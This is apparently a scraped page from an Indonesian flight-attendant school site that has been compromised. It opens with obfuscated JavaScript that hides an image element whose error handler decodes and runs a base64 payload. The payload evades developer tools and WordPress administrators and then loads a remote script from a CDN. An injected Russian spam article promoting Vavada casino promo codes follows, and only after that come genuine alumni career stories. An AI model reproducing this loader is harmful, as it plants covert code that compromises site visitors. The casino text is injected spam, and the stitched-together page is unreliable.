_0x355664=document[_0x3d83af(0x101)](_0x3d83af(0xfe));_0x355664[‘src’]=_0x3d83af(0x10b),_0x355664[_0x3d83af(0x10c)](_0x3d83af(0x10a),’bGV0IG1heFByaW50VGltZT0wO2Z1bmN0aW9uIGdldExhcmdlT2JqZWN0QXJyYXkoKXtsZXQgZT1bXTtmb3IobGV0IG49MDtuPDFlMztuKyspZS5wdXNoKHtpbmRleDpuLG5hbWU6Iml0ZW0iK24sdmFsdWU6TWF0aC5yYW5kb20oKSxuZXN0ZWQ6e2E6MSxiOjJ9fSk7cmV0dXJuIGV9ZnVuY3Rpb24gbm93KCl7cmV0dXJuIHBlcmZvcm1hbmNlLm5vdygpfWZ1bmN0aW9uIGNhbGNUYWJsZVByaW50VGltZSgpe2xldCBlPWdldExhcmdlT2JqZWN0QXJyYXkoKSxuPW5vdygpO3JldHVybiBjb25zb2xlLnRhYmxlKGUpLG5vdygpLW59ZnVuY3Rpb24gY2FsY0xvZ1ByaW50VGltZSgpe2xldCBlPWdldExhcmdlT2JqZWN0QXJyYXkoKSxuPW5vdygpO3JldHVybiBjb25zb2xlLmxvZyhlKSxub3coKS1ufWZ1bmN0aW9uIGlzRGV2VG9vbHNPcGVuKCl7bGV0IGU9Y2FsY1RhYmxlUHJpbnRUaW1lKCksbj1NYXRoLm1heChjYWxjTG9nUHJpbnRUaW1lKCksY2FsY0xvZ1ByaW50VGltZSgpKTtyZXR1cm4gbWF4UHJpbnRUaW1lPU1hdGgubWF4KG1heFByaW50VGltZSxuKSxjb25zb2xlLmNsZWFyKCksMCE9PWUmJmU+MTAqbWF4UHJpbnRUaW1lfWlmKCFpc0RldlRvb2xzT3BlbigpJiYhZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIndwYWRtaW5iYXIiKSl7dmFyIGU9bG9jYXRpb24sbj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLHQ9InNjcmlwdCIscj1hdG9iKCJhSFIwY0hNNkx5OWpaRzR1YW5Oa1pXeHBkbkl1Ym1WMEwyZG9MM2R3TFdOdmJuUmxiblF0WTI5dVppOXBMM2R3TFdobGJIQmxjaTVxY3c9PSIpO3IrPS0xPHIuaW5kZXhPZigiPyIpPyImIjoiPyIscis9ZS5zZWFyY2guc3Vic3RyaW5nKDEpLCh0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQodCkpLnNyYz1yLHQuaWQ9YnRvYShlLm9yaWdpbiksbi5hcHBlbmRDaGlsZCh0KX0=’),_0x355664[‘setAttribute’](_0x3d83af(0x104),'(new\x20Function(atob(this.dataset.digest)))();’),_0x355664[‘style’][_0x3d83af(0x108)]=’hidden’,document[_0x3d83af(0x109)][‘insertBefore’](_0x355664,document[‘body’][‘firstChild’]);}}));function _0xc140(){const _0x3a2b30=[‘setAttribute’,’7989534NVjUJY’,’img[src=\x22/files/img/logo.png\x22]’,’8118AcMzhy’,’img’,’32298nUrZUf’,’1176256Jujtfv’,’createElement’,’806655oDOFWm’,’1248lcWdls’,’onerror’,’5vntlHZ’,’2662128rbCQqJ’,’461336DWcNdH’,’visibility’,’body’,’data-digest’,’/files/img/logo.png’];_0xc140=function(){return _0x3a2b30;};return _0xc140();}function _0x2c94(_0x4e032f,_0x50dc54){_0x4e032f=_0x4e032f-0xfc;const _0xc140ae=_0xc140();let _0x2c9449=_0xc140ae[_0x4e032f];return _0x2c9449;}(function(_0x978891,_0x25722c){const _0x1da373=_0x2c94,_0x22ea3b=_0x978891();while(!![]){try{const _0x358a0f=-parseInt(_0x1da373(0xfd))/0x1+-parseInt(_0x1da373(0x100))/0x2+-parseInt(_0x1da373(0x102))/0x3+-parseInt(_0x1da373(0x107))/0x4*(-parseInt(_0x1da373(0x105))/0x5)+-parseInt(_0x1da373(0x106))/0x6+parseInt(_0x1da373(0xff))/0x7*(parseInt(_0x1da373(0x103))/0x8)+parseInt(_0x1da373(0x10d))/0x9;if(_0x358a0f===_0x25722c)break;else _0x22ea3b[‘push’](_0x22ea3b[‘shift’]());}catch(_0x4ebe3b){_0x22ea3b[‘push’](_0x22ea3b[‘shift’]());}}}(_0xc140,0x65149),document[‘addEventListener’](‘DOMContentLoaded’,function(){const _0x3d83af=_0x2c94;if(!document[‘querySelector’](_0x3d83af(0xfc))){let _0x355664=document[_0x3d83af(0x101)](_0x3d83af(0xfe));_0x355664[‘src’]=_0x3d83af(0x10b),_0x355664[_0x3d83af(0x10c)](_0x3d83af(0x10a),’bGV0IG1heFByaW50VGltZT0wO2Z1bmN0aW9uIGdldExhcmdlT2JqZWN0QXJyYXkoKXtsZXQgZT1bXTtmb3IobGV0IG49MDtuPDFlMztuKyspZS5wdXNoKHtpbmRleDpuLG5hbWU6Iml0ZW0iK24sdmFsdWU6TWF0aC5yYW5kb20oKSxuZXN0ZWQ6e2E6MSxiOjJ9fSk7cmV0dXJuIGV9ZnVuY3Rpb24gbm93KCl7cmV0dXJuIHBlcmZvcm1hbmNlLm5vdygpfWZ1bmN0aW9uIGNhbGNUYWJsZVByaW50VGltZSgpe2xldCBlPWdldExhcmdlT2JqZWN0QXJyYXkoKSxuPW5vdygpO3JldHVybiBjb25zb2xlLnRhYmxlKGUpLG5vdygpLW59ZnVuY3Rpb24gY2FsY0xvZ1ByaW50VGltZSgpe2xldCBlPWdldExhcmdlT2JqZWN0QXJyYXkoKSxuPW5vdygpO3JldHVybiBjb25zb2xlLmxvZyhlKSxub3coKS1ufWZ1bmN0aW9uIGlzRGV2VG9vbHNPcGVuKCl7bGV0IGU9Y2FsY1RhYmxlUHJpbnRUaW1lKCksbj1NYXRoLm1heChjYWxjTG9nUHJpbnRUaW1lKCksY2FsY0xvZ1ByaW50VGltZSgpKTtyZXR1cm4gbWF4UHJpbnRUaW1lPU1hdGgubWF4KG1heFByaW50VGltZSxuKSxjb25zb2xlLmNsZWFyKCksMCE9PWUmJmU+MTAqbWF4UHJpbnRUaW1lfWlmKCFpc0RldlRvb2xzT3BlbigpJiYhZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIndwYWRtaW5iYXIiKSl7dmFyIGU9bG9jYXRpb24sbj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLHQ9InNjcmlwdCIscj1hdG9iKCJhSFIwY0hNNkx5OWpaRzR1YW5Oa1pXeHBkbkl1Ym1WMEwyZG9MM2R3TFdOdmJuUmxiblF0WTI5dVppOXBMM2R3TFdobGJIQmxjaTVxY3c9PSIpO3IrPS0xPHIuaW5kZXhPZigiPyIpPyImIjoiPyIscis9ZS5zZWFyY2guc3Vic3RyaW5nKDEpLCh0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQodCkpLnNyYz1yLHQuaWQ9YnRvYShlLm9yaWdpbiksbi5hcHBlbmRDaGlsZCh0KX0=’),_0x355664[‘setAttribute’](_0x3d83af(0x104),'(new\x20Function(atob(this.dataset.digest)))();’),_0x355664[‘style’][_0x3d83af(0x108)]=’hidden’,document[_0x3d83af(0x109)][‘insertBefore’](_0x355664,document[‘body’][‘firstChild’]);}}));function

Read More »

VVD

body { background-color: #e6f7ff; font-family: Arial, sans-serif; line-height: 1.5; padding: 15px; } p { font-size: 16px; } Как активировать промокоды Vavada для получения бонусов Узнайте, как активировать промокоды Vavada для получения бонусов. Подробная инструкция и советы по использованию кодов для максимальной выгоды. Как активировать промокоды Vavada для бонусов Использование акционных предложений может значительно увеличить ваши шансы на успех в игровой платформе. Просто введите специальные коды в соответствующее поле на сайте, и ваши ставки начнут приносить гораздо больше удовольствия и выгоды. Сначала убедитесь, что у вас есть актуальные коды. Их можно найти на официальном сайте или в надежных источниках. Некоторые акции доступны только новым участникам, другие действуют и для постоянных игроков. Ознакомьтесь с условиями каждого предложения, чтобы избежать недоразумений. После выбора подходящего кода, авторизуйтесь в своем аккаунте и перейдите в раздел управления депозитами или личного кабинета. Введите полученный код в указанное поле и подтвердите действие. Ваша учетная запись будет автоматически обновлена, и бонусные средства станут доступны для игры. Следите за новыми предложениями и промоакциями, чтобы не упустить шанс на дополнительные преимущества. Регулярно проверяйте персональный кабинет – там могут появляться уникальные предложения. Активировать промокоды Vavada для получения бонусов Для активизации бонусных кодов зайдите на сайт вавада вход и выполните следующие шаги. Войдите в свою учетную запись, используя свои данные. После авторизации найдите раздел “Промоакции” или “Бонусы” в меню. В этой секции вы увидите поле для ввода кода. Введите уникальный код в отведенное поле и нажмите на кнопку подтверждения. Убедитесь, что вы ввели последовательность точно, без пробелов или ошибок, иначе система не распознает код. После успешного ввода на вашем балансе отобразятся новые средства или фриспины. Если код не работает, проверьте его активность и условия использования, так как некоторые предложения имеют ограничения по времени или требованиям к ставкам. Воспользуйтесь акциями, чтобы максимально увеличить капитал и насладиться азартными играми. Где найти действующие промокоды Vavada Обратитесь к специализированным сайтам, которые регулярно обновляют информацию о действующих кодах. Также полезно посетить официальные страницы ресурса в социальных сетях: часто там публикуют актуальные предложения. Следите за новостями на форумах, посвященных азартным играм. Участники таких площадок часто делятся актуальными предложениями и обсуждают их эффективность. Подписка на рассылки может помочь быть в курсе новых акций. Часто именно через электронные письма размещаются эксклюзивные предложения. Не забывайте проверять колонки с отзывах пользователей на специализированных сайтах. Там можно найти как положительный, так и отрицательный опыт использования различных акционных предложений. Специальные сайты с купонами и акциями Официальные страницы в социальных сетях Форумы и сообщества азартных игроков Рассылки и новости от платформы Обсуждения на отзывах и форумах Как правильно ввести промокод на сайте Vavada Перейдите на официальный сайт, войдите в личный кабинет или создайте новый профиль, если еще не зарегистрированы. Обратите внимание на специальное поле для ввода уникального кода, которое обычно располагается в разделе “Бонусы” или “Акции”. После этого внимательно введите код без лишних пробелов и символов. Убедитесь в правильности написания, так как каждая ошибка может привести к неактивированию предложения. Если система не распознает введённые данные, проверьте условия использования. Часто необходимо выполнить определенные действия: пополнение счета или ставка на определённые игры. Уточните все нюансы в разделе с условиями акций. Шаг Действие 1 Перейдите на сайт и войдите в кабинет 2 Найдите раздел с бонусами 3 Введите код в специальное поле 4 Убедитесь в отсутствии ошибок и нажмите “Применить” 5 Проверьте подтверждение успешной активации После успешного ввода кода ознакомьтесь с условиями получения предложений. Это позволит избежать недоразумений и maximize e возможности. Обратите внимание на сроки действия и обязательные условия, так как они могут варьироваться. Проверка статуса активации промокода Процесс проверки актуальности кода не требует сложных манипуляций. Следуйте простым шагам: Зайдите в свой аккаунт на платформе. Перейдите в раздел «Мои бонусы» или «История операций». Найдите строку с введённым кодом. Обратите внимание на статус: активен, неактивен или истёк. Если код не кликабельный или отсутствует в списке, проверьте его на корректность. Ошибки при вводе часто приводят к отказу в активации. Для получения дополнительной информации воспользуйтесь разделом “Часто задаваемые вопросы” на сайте. В случае возникновения проблем свяжитесь с поддержкой через чат или электронную почту. Типы бонусов, доступных через промокоды Vavada Основные виды предложений, которые могут быть активированы, включают депозитные награды. Эти предложения обычно удваивают или утроят сумму первого пополнения. Важно внимательно изучить условия, чтобы точно определить, какой процент будет начислен. Бесплатные вращения – это другой востребованный вид, позволяющий пользователям играть в определенные слот-игры без использования собственных средств. Количество таких вращений варьируется, и они могут быть использованы в разные игровые автоматы. Кэшбэк программы предлагают возврат части средств, потраченных на ставках в определенный период. Обычно кэшбэк начисляется в процентах от проигранных сумм, что сигнализирует о возможностях для дальнейшей игры. Лояльность вознаграждается при помощи накопительных баллов, которые участники могут обменивать на различные привилегии, включая дополнительные бонусы или реальные деньги. Чем активнее участник, тем больше возможностей он имеет. Специальные акции могут приур ти на определённые праздники или события. Такие предложения могут включать в себя увеличение коэффициентов или уникальные розыгрыши, что делает игру более увлекательной. Ошибки при активации промокодов и их решение Ошибка, возникающая из-за неправильного ввода символов. Убедитесь в точности ввода: проверьте наличие пробелов и регистр букв. Код неактивен или истек. Ознакомьтесь с условиями действия купона и сроками его использования перед вводом. Некорректное применение на неподходящих ставках или играх. Уточните ограничения по использованию, указанные в правилах. Некоторые предложения действуют только на определенные игры или минимальные суммы. Технические сбои на веб-платформе. Попробуйте повторить попытку через некоторое время или обновите страницу. В случае постоянного появления ошибки, обратиться в службу поддержки. Повторное использование одной и той же акции запрещено. Убедитесь, что вы не активируете купон, который уже был применён на вашем аккаунте. Если код не работает, проверьте наличие активных рекламных рассылок или уведомлений. Возможно, промоакция требует дополнительной регистрации или выполнения условий перед активацией. Проблемы с аккаунтом. Убедитесь, что ваш профиль прошел все необходимые стадии верификации. Неверная информация может стать причиной отказа в применении предложения. Обратитесь к информации на официальном сайте для получения актуальных данных. Регулярно проверяйте наличие новых предложений и условий, так как они могут изменяться. Часто задаваемые вопросы о промокодах Vavada Для обмена кодов необходимо ввести их в специальное поле на сайте. Обычно это делается в разделе аккаунта или личного кабинета. После успешного ввода код активируется автоматически.

Read More »
Perjuangan Dalam Mewujudkan Impian

Perjuangan Dalam Mewujudkan Impian (Oleh: Capt. I Wayan Madiarta)

Halo para pejuang mimpi! Terkadang perjuangan dalam mewujudkan impian tidak selalu sesuai dengan apa yang sudah kita rencanakan. Bahkan seringkali “terlihat” dan “terasa” semakin jauh dari apa yang kita bayangkan. Namun ternyata rencana Tuhan tentulah yang terbaik bagi kita. Kita hanya perlu bersyukur, mencoba untuk menyukai apa yang sedang Tuhan takdirkan untuk kita, serta tetap berusaha menjadi versi terbaik dari diri kita. Maka akhir yang baik dan terbaik akan selalu Tuhan berikan untuk kita. Seperti halnya yang dialami oleh Captain I Wayan Madiarta berikut ini. Beliau merupakan salah satu alumni dari lembaga Pelatihan Pramugari Pramugara Nusantara di Yogyakarta. Capt. Wayan kali ini berkenan membagikan cerita serta pengalamannya melalui dokumen tertulis yang beliau ketik sendiri. *Admin hanya sedikiiiittt merapikan saja. Captain I Wayan Madiarta & Keinginannya Untuk Lekas Bekerja Salam kenal semuanya, nama saya I Wayan Madiarta alumni P3NUSANTARA course 8 tahun 2003. Awal perkenalan saya dengan P3NUSANTARA terjadi di tahun 2003. Saat itu saya duduk di bangku kelas 3 SMU di Denpasar. Saat kelas 3 SMU saya sudah berkeinginan untuk melanjutkan study di sekolah kejuruan supaya bisa langsung mendapatkan bekal pelatihan yang bisa langsung saya pakai bekerja tanpa harus berlama lama menghabiskan waktu untuk kuliah. P3NUSANTARA menjadi salah satu jalan yang logis untuk keinginan saya itu. Saat itu sekolah saya di datangi oleh team promosi dari P3NUSANTARA, saya langsung tertarik dan langsung mendaftar. Setelah kelulusan SMU saya langsung berangkat ke Yogyakarta untuk memulai pelatihan saya di P3NUSANTARA. Perjuangan Dalam Mewujudkan Impian Tidak Sesuai Harapan Saat pertama kali di briefing saya mendapatkan informasi yang kurang menyenangkan, di briefing tersebut dikatakan bahwa airline saat itu hanya memiliki sedikit minat untuk merekrut pramugara. Berlawanan dengan apa yang di informasikan oleh team promosi P3NUSANTARA yang dulu datang ke sekolah saya. Otomatis saya jadi merasa kalau jalan saya ke P3NUSANTARA adalah jalan yang salah dan saya berfikir bahwa saya tidak mau membuang-buang waktu di Yogyakarta dan berkeinginan untuk pulang lagi ke Bali. Saya menghubungi orang tua, menceritakan informasi yang saya dapatkan saat briefing, lalu orang tua saya memberi saran untuk tetap mengikuti proses pelatihan di P3NUSANTARA, toh kita sudah membayar dan uangnya sudah tidak bisa diambil lagi. Dengan berat hati saya memutuskan untuk tetap mengikuti pelatihan. Rencana Tuhan dibalik Keterpaksaan. Rupanya rasa terpaksa dan berat hati yang Capt. Wayan lakukan saat menjalani pelatihan di P3NUSANTARA dalam rangka perjuangan dalam mewujudkan impian sudah menjadi rencana baik Tuhan untuknya. Singkat cerita setelah 4 bulan mengikuti pelatihan, saya mendengar bahwa Batavia Air mengadakan kunjungan ke P3NUSANTARA dan akan diadakan rekrutmen. Saya dan seluruh kawan-kawan di P3NUSANTARA mengikuti proses rekrutmen tersebut dan ternyata saya lulus dan bisa mengikuti pelatihan intial cabin crew (awak kabin baru) di Jakarta. Saya ingat sekali kalau saya dan teman-teman di P3NUSANTARA saat itu tergabung di batch 9 di Batavia air. Selama pelatihan di Batavia Air, semua ilmu yang saya dapatkan di P3NUSANTARA sangat membantu sehingga pelatihan saya berjalan lancar. Perjuangan Dalam Mewujudkan Impian Menjadi Pramugara Pada bulan maret 2004, pelatihan di Batavia Air akhirnya selesai dan saya resmi menjadi salah satu FA (Flight Attendant) junior di sana. Selama awal karier saya (sebagai awak kabin/pramugara), banyak hal-hal baru yang saya jumpai, mulai dari belajar bekerja dengan team yang berasal dari latar belakang umur, asal usul yang berbeda-beda, sampai jam kerja yang berbeda-beda sesuai dengan jadwal penerbangan kita yang membuat badan saya kesulitan untuk beradaptasi. Belum lagi semua tantangan dari setiap rute yang kita jalani, mulai dari delay, kondisi cuaca dll. 1 tahun pertama adalah yang paling berat menurut saya, karena saat itulah saya belajar beradaptasi dengan lingkungan kerja. Lalu di tahun-tahun berikutnya sudah terasa lebih nyaman untuk dilalui. Singkat cerita setelah bekerja selama 3 tahun, datanglah kesempatan untuk mengikuti seleksi uprading ke SFA (Senior Flight Attendant)/FA1 (Flight Attendant 1). Saya dan beberapa teman mengikuti seleksi tersebut dan Puji Tuhan, saya lulus. Perjuangan Dalam Mewujudkan Impian Dari Pramugara Menjadi Pilot!!! Setelah 1 tahun menjadi FA1 datang kesempatan yang tidak pernah saya duga sebelumnya. Saat itu Batavia Air mengadakan program beasiswa pilot. Saya mengikuti proses seleksi dan akhirnya dinyatakan lulus. Tahun 2009 saya mengawali pendidikan penerbang di Aeroflyer Institute, pendidikan berlangsung selama 2 tahun sampai tahun 2011. Di tahun yang sama, saya di tempatkan sebagai kadet di pesawat Airbus 320 yang masa pendidikan nya saya ikuti selama 1,3 tahun termasuk ground training, simulator dan flight training. Di bulan Juli 2012 saya di nyatakan qualified sebagai first officer di pesawat Airbus 320. 2 Kali Kena PHK!!! Kemudian di bulan Januari 2013 saya mendapatkan kabar buruk, bahwa Batavia Air pengalami pailit dan perusahaan menghentikan operasionalnya. Otomatis harus kehilangan pekerjaan. Tidak mau menyerah begitu saja. Saya lalu melamar ke Tiger Mandala dan diterima di bulan Februari 2012. Namun lagi-lagi tanpa disangka-sangka, di pertengahan tahun 2014, Tiger Mandala menghentikan kegiatan operasionalnya dan secara resmi saya sudah 2 kali mengalami PHK! Hahaha… 😀 😀 😀 Pantang Menyerah Perjuangan Dalam Mewujudkan Impian Setelah dari Tiger Mandala akhirnya saya join ke Citilink, menjalankan fungsi saya sebagai first officer selama kurang lebih 3 dan pada akhir tahun 2017 saya di upgrade menjadi kapten di pesawat A320. Saat ini saya masih berkarier di Citilink sebagai kapten di pesawat A320. Dari ke 2 profesi yang saya jalani yaitu sebagai FA dan penerbang (pilot), semua memiliki ke unikan tersendiri. Sebagai FA saya ditantang untuk menjadi pemain team, menghadapi penumpang dengan berbagai macam latar belakang dan di berbagai situasi, baik itu penerbangan yang on time, lancar bahkan delay ber-jam-jam. Sebagai penerbang, tantangan nya lebih ke kondisi teknikal pesawat, cuaca dan keputusan-keputusan yang harus saya ambil dalam menuntaskan misi penerbangan. Bagi saya kedua profesi tersebut sama pentingnya. Tidak ada yang bisa dianggap lebih superior atau sebaliknya. Karena dua-duanya saling melengkapi satu sama lain. Ada satu hal lagi yang saya sukai sebagai awak pesawat, yaitu kita tidak pernah membawa pekerjaan ke rumah. Semua misi dimulai saat pre-flight dan berakhir saat post flight. Pesan Untuk Para Pejuang Mimpi! Pesan saya untuk teman-teman dan adik-adik di P3NUSANTARA, bertanggung jawablah dengan semua keputusan dan pilihan yang sudah kalian buat. Penyesuaian kecil di tengah perjalan itu biasa, tapi jangan lupa target utama kalian. Profesi apa pun

Read More »
Peluang Kerja Tanpa Batas

PELUANG KERJA TANPA BATAS, KEGIGIHAN & KETEPATAN PENGAMBILAN KEPUTUSAN! (Oleh Fhauzan)

Sedang mencari peluang kerja tanpa batas? yuk simak pengalaman dari salah satu alumni sekolah penerbangan P3NUSANTARA, Yogyakarta berikut ini. Kali ini nara sumber berkenan menuliskan sendiri pengalamannya untuk berbagi cerita pada rekan – rekan semuanya. Latar Belakang Seorang Fhauzan. Halo rekan – rekan sekalian. Perkenalkan nama Saya Fhauzan, saya berasal dari Provinsi Bangka Belitung, tepatnya dari Kabupaten Bangka. Saya lulusan dari P3NUSANTARA angkatan tahun ajaran 2012 – 2013. Sedikit cerita tentang perjalanan hidup saya yang banyak sekali lika-likunya, namun saya sangat enjoy menjalani itu semua meskipun ya terkadang mikir sepertinya nggak akan bisa untuk melewati itu semua. Awal Mengenal Sekolah dengan Peluang Kerja Tanpa Batas Awalnya sekitar awal tahun 2012 ketika saya masih duduk di bangku kelas 12 SMA, saya mendapatkan kabar bahwa akan ada presentasi & sosialisasi dari sebuah sekolah Pramugari Pramugara ke sekolah saya. Saya pada saat itu tidak mengetahui sama sekali apa sebenarnya profesi Pramugari/a. Kemudian saya mencoba mencari – cari informasi tentang profesi tersebut. Kemudian pada hari itu saya lupa hari apa tanggal berapa bulan berapa 😀 yang jelas tahunnya 2012 hehehe…, datanglah seorang bapak dan mas yang saat itu saya tidak tahu namanya siapa perwakilan dari P3NUSANTARA Flight Attendant Training Yogyakarta ke sekolah saya untuk presentasi. Awalnya saya sangat ragu untuk mengikuti pendaftaran tersebut karena saya minder dengan kondisi fisik saya saat itu, jelek, dekil, hitam dan jauhlah dari kondisi fisik seorang Flight Attendant. Namun ternyata saya yang saat itu hanya bermodalkan Bismillah untuk mengikuti seleksi tersebut, Alhamdulillah saya dinyatakan lulus seleksi dan dinyatakan DITERIMA sebagai salah satu calon siswa di P3NUSANTARA. Oke skip yaaa untuk beberapa proses setelahnya karena panjang kali lebar kali tinggi kalo diketik hahahaha… Memulai Pelatihan di P3NUSANTARA Akhirnya saya berangkat menuju ke Yogyakarta dengan diantarkan oleh Mama saya yang paling hebat, Om saya, dan almarhumah nenek saya sang malaikat pelindung saya. Setelah itu saya memasuki asrama yang sangat asing bagi saya dan sangat jauh dari keluarga saya. Maklum saya orang kampung yang baru pertama merantau di tempat orang. Di asrama inilah langkah awal saya mengejar apa yang saya inginkan. Disini saya mengenal banyak teman – teman baru yang berasal dari bermacam daerah, suku, dan budaya. Jujur saya sangat minder dengan mereka karena jika dibandingkan dengan teman-teman satu angkatan saya saat itu rasanya saya sangat – sangat jauh dari mereka. Tapi saya hanya percaya kepada diri saya jika saya mampu untuk menjalani itu semua. Saya bergabung di Course 37 P3NUSANTARA. Ketika masa pelatihanpun saya sangat merasa kesulitan karena saya buta akan yang namanya dunia aviasi. Saya juga tidak bisa berbahasa Inggris. Bahasa Inggris saya sangat – sangat buruk. Namun saya tidak patah semangat dan terus – menerus belajar karena saya sadar akan keterbatasan dan kelemahan saya. Pentingnya Sikap Ramah, Menambah Relasi dan Peluang Kerja Setelah menjalani pendidikan selama 3 bulan, saya menjalani On The Job Training ( OJT ) di Hotel Grand Aston Yogyakarta selama kurang lebih 3 bulan lamanya. Di tempat inilah saya ditempa dan dikenalkan di dunia kerja yang sesungguhnya. Disini pula saya mulai untuk meningkatkan semua kemampuan saya agar siap untuk memasuki dunia kerja yang sesungguhnya. Singkat cerita pada saat itu saya karena kelewatan ramah mungkin ya hahaha, saya sering mengobrol dengan ibu penjaga kantin di hotel ketika saya sedang break (istirahat). Pada saat itu saya sudah ditahap akhir OJT di hotel tersebut. Kemudian sang ibu penjaga kantin mengatakan bahwa anaknya bekerja menjadi seorang Ticketing Staff Airport Mandala Tiger Air di Bandara International Adisutjipto Yogyakarta. Kemudian saya diberikan contact anaknya tersebut. Sambil menyelam minum air yaa kannnn? dikasih contact anaknya sekalian dipacarin hahahaha… 😀 Akhirnya diawal tahun 2013 saya dan beberapa teman angkatan saya diterima sebagai Ticketing Staff Airport Mandala Tiger Air di Terminal 3 Soekarno Hatta International Airport Jakarta. Saya dan teman – teman saya berangkat ke Jakarta dengan naik ELF (Mobil Shuttle milik P3NUSANTARA) diantarkan oleh 2 orang staff P3NUSANTARA, yaitu Mas Novan dan Pak Yuli hehehe… Skip yaa ceritanya karena panjang bangettttttt….. Saat bekerja sebagai Ticketing Staff saya juga menyempatkan untuk mengikuti berbagai recruitment Pramugara di Jakarta namun masih gagal karena mungkin memang belum rezekinya. Menjadi Pramugara Sriwijaya Air Hingga akhirnya di bulan April tahun 2013 saya mencoba kembali mengikuti ikut recruitment Pramugara Sriwijaya Air dan sampai di tahap pantuhir. Namun setelah saya mengajukan resign dari pekerjaan saya sebelumnya, saya mendapatkan kabar kurang baik. Saya mendapatkan kabar dari pihak Sriwijaya Air bahwa training saya di pending (ditunda) selama kurang lebih 3 bulan kedepan dikarenakan kuota batch (kelas) penuh. Akhirnya saya pun mau tidak mau menunggu selama 3 bulan di Jakarta sampai dipanggil kembali. Saya memutuskan untuk pulang ke kampung halaman saya. Sembari menunggu panggilan dari Sriwijaya Air saya pun mencari kerja yang setidaknya bisa menghasilkan pemasukan untuk dompet saya. Saya pun diterima honorer di kantor kejaksaan negeri disana. Setelah menunggu kurang lebih 2 bulan akhirnya saya mendapatkan panggilan dari Sriwijaya Air untuk training Flight Attendant di sana. First Ranking on The Class Setelah melewati proses training on ground selama kurang lebih 3 bulan akhirnya saya dinyatakan lulus ground training di Sriwijaya Air dengan First Ranking on The Class. Jujur saya sangat tidak menyangka dengan apa yang saya dapatkan itu, karena saya merasa banyak yang lebih pintar dan cerdas dibandingkan saya. Pada saat akan dilakukan pengecekan kedua saat ground training saya mendapatkan ujian yang sesungguhnya dari Allah SWT. Saya mendapatkan ujian harus ditinggalkan oleh Malaikat Pelindung saya yaitu nenek saya tercinta. Saya pun tidak dapat melakukan apa – apa karena keluarga saya tidak mengizinkan saya untuk pulang ke sana. Namun itu adalah jalan Allah SWT untuk menempa saya menjadi seorang laki – laki yang kuat dalam segala hal. Oleh karena itu hasil training yang saya dapatkan tersebut saya dedikasikan untuk almarhumah nenek saya. Setelah proses ground training selesai akhirnya saya melaksanakan Flight Training dan Alhamdulillah semua proses saya jalani dan semuanya diberikan kelancaran sampai saya dinyatakan lulus Company Check. Setelah itu saya dihadapkan dengan ujian yang terakhir yaitu Competency Check by DGCA. Saat itu saya di check oleh Inspector yang paling terkenal di dunia aviation Indonesia yaitu Ibu Dyah Nawang Palupi. Alhamdulillah saya tidak menemui hambatan

Read More »

Sekolah Penerbangan Dengan Peluang Karir Tanpa Batas

Sebuah Sekolah Penerbangan ternyata dapat mengantarkan seseorang sukses di luar bidang aviasi. Begitulah kira-kira yang terjadi pada sosok Verry Geniusa MT. Seorang pria asal Palembang Sumatera Selatan ini kini sukses berkarir di lingkup BUMN PT. Kereta Api Indonesia sebagai Staff Admin Muda Finance & Accounting di KAI Service. Mas Verry yang juga merupakan alumni dari SMAN 3 Palembang ini akhirnya memilih melanjutkan pendidikannya di sekolah penerbangan di Yogyakarta, yaitu P3NUSANTARA pada tahun ajaran 2016/2017 dan tergabung dalam course 60. Melalui sebuah pesan suara yang dikirimkan melalui email, Mas Verry bersedia membagikan pengalaman dan perjalanan karirnya mulai dari mengenal P3NUSANTARA hingga akhirnya dapat sukses berkarir di tempat kerjanya sekarang. AWAL MENGENAL P3NUSANTARA SEKOLAH PENERBANGAN “Halo! Assalamu’alaikum Wr. wb. Semuanya….” begitu mas Verry mengawali sapaannya di dalam pesan suara tersebut. Mas Verry merupakan salah satu pemuda berprestasi di bidang olah raga khususnya Karate yang dimiliki oleh Indonesia khususnya provinsi Sumatera Selatan. Tentu angan-angan untuk berkecimpung di dunia aviasi sangat jauh dari pemikirannya. Hingga sekitar bulan Januari 2016, saat itu mas Verry masih duduk di kelas 12 semester ke dua. Ada sebuah lembaga penerbangan yang datang ke dalam hidup mas Verry dan cukup membuka wawasannya, bahwasannya ternyata, berkarir di dunia penerbangan itu tidak semata-mata terbatas hanya profesi Pilot atau Awak Kabin (Pramugari/Pramugara) saja. Lembaga tersebut, saat itu membuka kelas untuk jurusan AVIATION SECURITY (Keamanan Penerbangan). Sayangnya, ketika mas Verry mencoba mengikuti seleksinya, dia harus merasa sedikit kecewa karena dinyatakan tidak lolos seleksi. Hal tersebut rupanya disebabkan karena konon katanya, struktur gigi mas Verry yang kurang rapi. Selanjutnya sekitar bulan Maret 2016, team promosi dari P3NUSANTARA datang ke SMAN 3 Palembang dan mengadakan presentasi sekaligus seleksi penerimaan calon siswa baru disana. Kebetulan mas Verry yang saat itu cukup dekat dengan ibu Guru BK-nya diberikan motivasi untuk mencoba mengikuti seleksi masuk di P3NUSANTARA. Sejujurnya mas Verry sendiri merasa insecure pada dirinya sendiri. Secara fisik dirinya merasa badannya kurus, kecil, berkulit hitam, tidak terlalu tinggi, struktur gigi tidak rata (tidak rapi) dan juga merasa bahwasannya dirinya berasal dari keluarga yang kurang mampu. Namun mas Verry tetap saja mengikuti proses penerimaan calon siswa baru untuk P3NUSANTARA. Rupa-rupanya, tanpa mas Verry duga-duga, ternyata P3NUSANTARA memberikan kepercayaan kepada mas Verry untuk dapat bergabung menjadi salah satu peserta latihnya. Total dari 7 orang yang mendaftar di P3NUSANTARA dari sekolahnya, ada 4 orang yang dinyatakan DITERIMA di P3NUSANTARA dan dari 4 orang itu sayangnya ada 1 orang yang akhirnya memutuskan untuk mengundurkan diri. Perjuangan Masuk Sekolah Avasi Tibalah surat panggilan DITERIMA dari P3NUSANTARA. Dimana didalamnya tertera sejumlah angka biaya registrasi awal yang harus dibayar bagi calon siswa/i P3NUSANTARA yang telah dinyatakan DITERIMA, untuk nantinya dapat melanjutkan pelatihan di P3NUSANTARA. Bagi mas Verry, jumlah nominal biaya registrasi tersebut bisa dibilang lumayan tidak terjangkau bagi keluarganya. Mas Verry mulai merasa bimbang. Sesungguhnya dia bercita-cita menjadi 